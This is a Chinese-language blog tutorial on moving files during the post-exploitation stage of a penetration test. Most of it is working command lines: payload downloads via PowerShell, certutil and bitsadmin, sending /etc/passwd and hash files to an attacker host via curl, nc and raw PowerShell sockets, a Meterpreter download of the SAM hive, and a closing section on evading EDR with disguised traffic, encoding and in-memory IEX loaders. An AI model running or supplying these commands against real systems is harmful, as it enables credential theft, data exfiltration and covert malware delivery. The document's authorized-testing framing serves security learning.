news 2026/5/8 2:51:44

渗透测试实战(一):文件传输全技法与深度解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
渗透测试实战(一):文件传输全技法与深度解析

引言:构建隐蔽通道与 Living Off The Land 艺术

在渗透测试的后利用(Post-Exploitation)阶段,高效的文件传输能力往往是决定成败的关键分水岭。无论是向目标投递定制化恶意载荷、上传提权工具,还是将敏感数据(如凭证哈希、配置文件)渗出(Exfiltration)至外部,稳定且隐蔽的传输通道都是必经之路。

然而,在现代防御体系(EDR、AV、NIDS)日益敏感的背景下,直接上传未知二进制文件或开启非标准端口的服务极易触发警报。因此,高阶渗透测试的核心策略在于“Living Off The Land”(LOTL,基于陆地生存)

本文将系统性地梳理在不同操作系统与网络环境下,如何利用系统原生工具(如 PowerShell、CertUtil、Bash、SMB)和轻量级临时服务,构建多样化的文件传输矩阵。我们的目标不仅是实现“传得过去”,更要做到“传得隐蔽”,通过模拟正常业务流量和系统行为,规避防御机制,完成从初始访问到完全控制的无缝衔接。


1. 核心战术:HTTP 协议传输

HTTP/HTTPS 协议是内网中最不可能被阻断的流量。利用系统自带工具或单命令行 Web 服务,可以快速建立传输通道。

1.1 快速搭建临时 Web 服务 (攻击机)

无需安装复杂环境,利用系统内置解释器即可拉起服务。

工具

命令示例

适用场景

Python 3

python3 -m http.server 4444

最通用,Linux/Mac 默认环境

Python 2

python2 -m SimpleHTTPServer 89

老旧 Linux 发行版

PHP

php -S 0.0.0.0:8080

已安装 PHP 的服务器

Ruby

ruby -run -e httpd . -p 1337

开发环境或 MacOS

Apache2

systemctl start apache2

需要持久化或复杂配置时

1.2 目标机下载技术 (Download)

优先使用系统原生二进制文件,避免上传第三方工具(如wgetnc.exe)引起怀疑。

Linux 环境
# 标准工具 curl -o /tmp/tool http://IP/tool wget http://IP/exploit.sh # 无工具利用 (Bash Native) cat < /dev/tcp/IP/80 > /tmp/received_file
Windows 环境 (LOTL 优先)
# PowerShell (最隐蔽,推荐) powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://IP/payload.exe', 'C:\Windows\Temp\p.exe')" # CertUtil (常被监控,但绕过简单杀软有效) certutil -urlcache -split -f http://IP/mimi.exe mimi.exe # BitsAdmin (利用 Windows 后台服务,隐蔽性极高) bitsadmin /transfer job1 /download /priority high http://IP/file.exe C:\Windows\Temp\file.exe

1.3 数据渗出与上传 (Upload)

默认的 Python HTTP Server 仅支持下载,上传文件需要特殊配置。

搭建支持 PUT 的服务器

使用自定义脚本(如HTTPutServer.py)替代默认模块,核心逻辑如下:

# 核心代码片段 class PUTHandler(BaseHTTPRequestHandler): def do_PUT(self): length = int(self.headers['Content-Length']) content = self.rfile.read(length) with open(self.path[1:], "wb") as f: f.write(content) self.send_response(200)
客户端上传执行
# Linux (curl/wget) curl --upload-file secret.txt http://IP:1337/ wget --method=PUT --post-file=data.txt http://IP:1337/data.txt # Windows (PowerShell) Invoke-RestMethod -Uri http://IP:1337/secret.txt -Method PUT -Body (Get-Content secret.txt)
PHP 接收端 (备选)

在攻击机 Web 目录放置upload.php

<?php $targetDir = './uploads/'; // 确保权限为 777 $targetFile = $targetDir . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $targetFile); ?>

上传命令:curl -X POST -F 'file=@/etc/passwd' http://IP/upload.php


2. 辅助协议:非 HTTP 通道

当 Web 流量被严格监控或阻断时,利用系统原生支持的协议进行传输。

2.1 SMB 共享 (Windows 首选)

利用 Impacket 搭建 SMB 服务器,模拟内网文件共享,极其隐蔽且无需 Web 请求。

# Kali 搭建 (支持 SMB2,避免兼容性问题) impacket-smbserver share $(pwd) -smb2support -username test -password test # 目标机连接与复制 net use \\Kali_IP\share /user:test test copy \\Kali_IP\share\payload.exe C:\Windows\Temp\

2.2 SSH / SCP

适用于 Linux 环境且已获取 SSH 凭证的场景。

scp -P 2222 ./local_file user@host:/tmp/remote_path scp -r user@host:/etc/ ./backup_etc

2.3 FTP / TFTP

适用于网络设备(路由器、交换机)或老旧 Windows 系统。

  • FTP 服务器:python -m pyftpdlib -p 21 -w(匿名可写)

  • TFTP 服务器:atftpd --daemon --port 69 /tftpboot


3. 极限环境:无监听与流式传输

当目标无法主动连接攻击机,或攻击机无法开启端口时,使用标准输入输出重定向。

3.1 Netcat (nc) 传输

# 接收端 (Kali) nc -lvnp 4444 > received_file.bin # 发送端 (Target) nc -nv 192.168.1.10 4444 < /etc/passwd

3.2 PowerShell TCP 传输 (无 NC 环境)

直接使用 .NET 的 Socket 对象进行流式传输,绕过对nc.exe的依赖。

$client = New-Object System.Net.Sockets.TCPClient('IP',Port); $stream = $client.GetStream(); $fileStream = [System.IO.File]::OpenRead('C:\secret\hash.txt'); $fileStream.CopyTo($stream); $fileStream.Close(); $stream.Close(); $client.Close()

4. 自动化框架集成 (Metasploit)

在 Meterpreter 会话中,使用内置命令确保传输稳定性。

操作

命令

说明

上传

upload /local/payload.exe C:\\Windows\\Temp\\

自动处理 Windows 路径转义

下载

download C:\\Windows\\System32\\config\\SAM ./

下载注册表或敏感文件

搭建服务

use auxiliary/server/ftp

快速搭建 FTP 陷阱或传输点


5. 防御规避建议

  1. 伪装流量:尽量使用 80/443 端口,并将文件命名为常见文件名(如update.exe,logo.png)。

  2. 编码混淆:使用certutil -encode或 Base64 编码传输文件,在目标端解码执行,以绕过内容检测。

  3. 内存执行:优先使用powershell IEX (New-Object Net.WebClient).DownloadString(...)直接在内存中加载脚本,避免文件落盘。

免责声明:本文档仅供授权的渗透测试与安全研究使用。严禁用于非法用途。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/8 2:51:28

LangChain Swift:苹果生态原生AI应用开发框架详解与实践

1. 项目概述&#xff1a;LangChain Swift&#xff0c;为苹果生态而生的大语言模型应用框架如果你是一名iOS或macOS开发者&#xff0c;最近正琢磨着怎么在自己的App里集成类似ChatGPT的对话能力&#xff0c;或者想构建一个能理解文档、联网搜索的智能助手&#xff0c;那你很可能…

作者头像 李华
网站建设 2026/5/8 2:50:09

基于Godot与Home Assistant的智能家居混合现实控制平台开发实践

1. 项目概述&#xff1a;当智能家居遇见混合现实如果你和我一样&#xff0c;是个对智能家居和前沿科技都充满好奇的折腾党&#xff0c;那你肯定也经历过这样的场景&#xff1a;手机里装了五六个不同的智能家居App&#xff0c;想开个灯得先解锁手机、找到App、点进房间、再找到那…

作者头像 李华
网站建设 2026/5/8 2:49:40

论文降AIGC教程:2026最新实测,应对维普新规,一次性把AI率压到25%

这两天看到后台不少留言&#xff0c;大家都在讨论维普前阵子发出的那个公告。4月27日到30日期间&#xff0c;官方确实暂停维护了AIGC检测服务。 说实话&#xff0c;四月底五月初正是大家集中卡节点交初稿的时候&#xff0c;碰上系统突然升级&#xff0c;很多同学发愁也是正常的…

作者头像 李华
网站建设 2026/5/8 2:48:33

打卡上海全球数据周[特殊字符]

终于来打卡上海全球数据周了&#xff01;昨天逛了一整天&#x1f6b6;&#xff0c;腿都快走废了&#xff0c;但真的大开眼界&#xff0c;全程像逛大型科技好物集市。展会现场人气超旺&#x1f44d;&#xff0c;工作人员都专业又耐心&#xff0c;体验感超好&#xff5e;现场真的…

作者头像 李华
网站建设 2026/5/8 2:47:35

AI资源聚合库构建指南:从分类体系到自动化维护的工程实践

1. 项目概述&#xff1a;一个AI资源聚合库的价值与定位 最近在GitHub上看到一个挺有意思的项目&#xff0c;叫“AI-Resources-Central”。光看名字&#xff0c;你大概就能猜到它的核心功能&#xff1a;一个集中式的AI资源聚合库。作为一个在AI领域摸爬滚打了十来年的从业者&am…

作者头像 李华